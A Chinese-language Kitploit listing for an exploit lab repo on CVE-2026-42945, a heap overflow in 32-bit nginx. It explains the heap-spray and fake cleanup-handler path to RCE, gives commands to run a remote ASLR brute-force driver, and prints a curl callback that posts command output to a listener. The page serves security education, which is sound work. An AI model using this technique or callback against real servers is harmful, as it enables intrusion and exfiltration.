Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-42945-nginx32-lab — CVE-2026-42945 nginx 32位利用实验室,启用ASLR | Kitploit
工具/GitHubGitHub/dinosn/cve-2026-42945-nginx32-lab
漏洞分析漏洞利用Web安全CTF渗透测试学习与教育二进制利用实验室与实践
GitHubdinosn/cve-2026-42945-nginx32-lab

cve-2026-42945-nginx32-lab

CVE-2026-42945 nginx 32位利用实验室,启用ASLR

查看仓库
2143个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-42945 nginx 32位漏洞利用实验室

该仓库是一个可重现的Docker实验室,用于研究nginx 1.30.0中的CVE-2026-42945。它包含一个易受攻击的32位目标、一个原始触发器、一个实验室辅助的已知地址RCE验证器,以及一个无自省的暴力破解驱动。

漏洞利用的边界很重要:

  • exploit/trigger_oob.py 演示了堆越界写入原语。
  • exploit/lab_known_address.py 在Docker中验证了RCE机制,但它属于实验室辅助方式,因为它通过 docker exec 读取 /proc/<pid>/maps。
  • exploit/remote_bruteforce.py 不使用SSH、Docker、/proc、ptrace或已知地址。它暴力破解SAFE堆页面和libc页面候选,并将出站回调作为唯一的成功信号。

远程暴力破解路径仍然依赖于当前的nginx主进程ASLR布局。如果喷射地址不能被所需的URI安全字节字母表表示,则完整一轮会失败,直到nginx主进程重启或重载且ASLR重新滚动。与已知地址验证器一样,完整的RCE路径应在原生的x86 Linux Docker主机上运行,而不是在QEMU模拟的Docker Desktop目标上运行。

要求

  • 支持Compose的Docker。
  • 支持Linux/386容器。
  • 对于完整的已知地址RCE验证器,请使用原生x86 Linux Docker主机,其中/proc/<pid>/maps 公开了nginx工作进程的真实32位地址布局。非x86主机上的Docker Desktop可能会在qemu-i386下运行目标;这足以验证越界崩溃,但不足以验证已知地址RCE计算。
  • 主机上需要Python 3来运行漏洞利用脚本。

快速开始

构建并启动易受攻击的32位nginx实验室:

root@kitploit:~
docker compose up -d --build
curl http://127.0.0.1:19331/

触发受控的越界写入:

root@kitploit:~
python3 exploit/trigger_oob.py 127.0.0.1:19331 --bytes 8192 --char +
docker logs cve-2026-42945-nginx32 --tail 20

运行确定性的仅Docker RCE验证器:

root@kitploit:~
python3 exploit/lab_known_address.py --restart-until-safe

运行无自省暴力破解驱动:

root@kitploit:~
python3 exploit/remote_bruteforce.py 127.0.0.1:19331 host.docker.internal \
  --shuffle --seed 42945 \
  --attempt-delay 0.02 \
  --batch-size 5000 --batch-cooldown 10 \
  --progress-every 1000

host.docker.internal 用作回调主机,以便嵌入在nginx工作进程中的命令可以将id输出POST回由漏洞利用脚本启动的监听器。Compose文件为Linux Docker引擎映射了此名称。

漏洞利用演示

1. 构建并启动实验室

构建并启动32位实验室

Compose目标将nginx 1.30.0构建为32位发布风格的二进制文件,并在127.0.0.1:19331上启动。一个简单的GET /返回ok,证明目标在漏洞利用开始前是可访问的。

2. 触发越界写入

触发易受攻击的重写路径

触发器通过易受攻击的rewrite加set $myvar $1路径发送一个由+字节组成的捕获URI段。+被NGX_ESCAPE_ARGS转义,因此复制过程为每个单字节输入写入三个字节。脚本在发送请求前打印预期的溢出大小。

3. 使用实验室辅助验证RCE

使用仅Docker辅助验证RCE机制

已知地址验证器是故意辅助的。它从Docker容器中读取实时工作进程堆和libc映射,计算伪造的清理处理程序地址,发送相同的传输级漏洞利用序列,并等待回调。uid=65534(nobody) 输出是nginx工作进程执行id的结果。此屏幕截图来自原生x86 Docker运行;在非x86 Docker Desktop设置中,脚本可能会因qemu-i386原生主机需求而停止。

4. 运行仅远程暴力破解路径

运行无自省暴力破解路径

远程暴力破解脚本移除了仅限实验室的地址读取。它枚举SAFE堆页面候选和libc页面候选,并仅使用回调作为成功判断依据。一轮耗尽而未收到回调并不能否定原语的存在;这通常意味着当前的nginx主进程布局对于此载荷字母表不利,或者需要重启/重载主进程以重新滚动ASLR。

RCE序列工作原理

该漏洞利用使用了三个并发的请求角色:

  1. /spray 保持请求体分配存活,并在nginx工作进程堆内存中放置一条伪造的ngx_pool_cleanup_t记录以及回调命令。
  2. /api/<payload> 到达易受攻击的重写脚本,并延迟最终请求终止符直到受害者请求就位。
  3. / 创建相邻的请求池,其cleanup指针是受控越界写入的目标。

当被损坏的请求池被销毁时,nginx会跟随被覆盖的清理指针。在实验室RCE路径中,伪造的清理处理程序指向system(),其数据指针指向:

root@kitploit:~
id|curl -sm3 -d @- http://host.docker.internal:9876/rce

漏洞利用监听器将该POST视为唯一的RCE成功信号。

清理

root@kitploit:~
docker compose down

安全注意事项

此实验室用于授权的安全验证和教育。请保持隔离,不要将实验室端口暴露给不受信任的网络,也不要对不属于您或未经明确许可的系统运行漏洞利用。

下载工具